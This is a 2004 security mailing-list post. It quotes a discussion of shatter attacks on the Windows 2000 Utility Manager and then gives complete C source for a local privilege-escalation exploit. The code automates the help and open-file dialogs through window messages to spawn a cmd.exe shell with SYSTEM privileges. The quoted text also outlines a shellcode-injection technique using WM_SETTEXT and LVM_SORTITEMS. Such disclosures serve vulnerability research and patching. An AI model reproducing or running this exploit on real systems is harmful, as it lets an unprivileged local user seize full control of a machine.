See attached ;) Cesar. --- Chris Paget <ivegotta@xxxxxxxxxxxx> wrote: > On Tue, 13 Jul 2004 16:00:33 -0400, you wrote: > ... > > This isn't quite right - on my system at least, > browsing for cmd.exe > in this way generates an error: > "The C:\WINNT\system32\cmd.exe file is not a Windows > Help file, or the > file is corrupted." > > That said, the file dialog can be made to display a > ListView control > (display details rather than a list). This ListView > control will > accept both WM_SETTEXT (to inject shellcode into the > caption of the > window) followed by LVM_SORTITEMS (which specifies > the address for a > sort function) to execute said code. It is a valid > method for > arbitrary code execution as LocalSystem, but not > quite as simply as > Vivek makes out. > > Chris > > -- > Chris Paget > ivegotta@xxxxxxxxxxxx __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - Send 10MB messages! http://promotions.yahoo.com/new_mail
//by Cesar Cerrudo sqlsec>at<yahoo.com //Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!) //Gives you a shell with system privileges //If you have problems try changing Sleep() values. #include "stdio.h" #include "windows.h" int main(int argc, char* argv[]) { HWND lHandle, lHandle2; POINT point; char sText[]="%windir%\\system32\\cmd.ex?"; // run utility manager // system("utilman.exe /start"); // Sleep(500); lHandle=FindWindow(NULL, "Utility manager"); if (!lHandle) { printf("\nUsage :\nPress Win Key+U to launch Utility Manager and then run UtilManExploit2.exe\n"); return 0; } PostMessage(lHandle,0x313,NULL,NULL); //=right click on the app button in the taskbar or Alt+Space Bar Sleep(100); SendMessage(lHandle,0x365,NULL,0x1); //send WM_COMMANDHELP 0x0365 lParam must be <>NULL Sleep(300); SendMessage (FindWindow(NULL, "Windows Help"), WM_IME_KEYDOWN, VK_RETURN, 0); Sleep(500); // find open file dialog window lHandle = FindWindow("#32770","Open"); // get input box handle lHandle2 = GetDlgItem(lHandle, 0x47C); Sleep(500); // set text to filter listview to display only cmd.exe SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText); Sleep(800); // send return SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0); //get navigation bar handle lHandle2 = GetDlgItem(lHandle, 0x4A0); //send tab SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0); Sleep(500); lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL); //get list view handle lHandle2 = GetDlgItem(lHandle2, 0x1); SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char Sleep(500); //popup context menu PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0); Sleep(1000); // get context menu handle point.x =10; point.y =30; lHandle2=WindowFromPoint(point); SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window Sleep(500); SendMessage (FindWindow(NULL, "Windows Help"), WM_CLOSE, 0, 0);// close open error window SendMessage (FindWindow(NULL, "Utility manager"), WM_CLOSE, 0, 0);// close utility manager return 0; }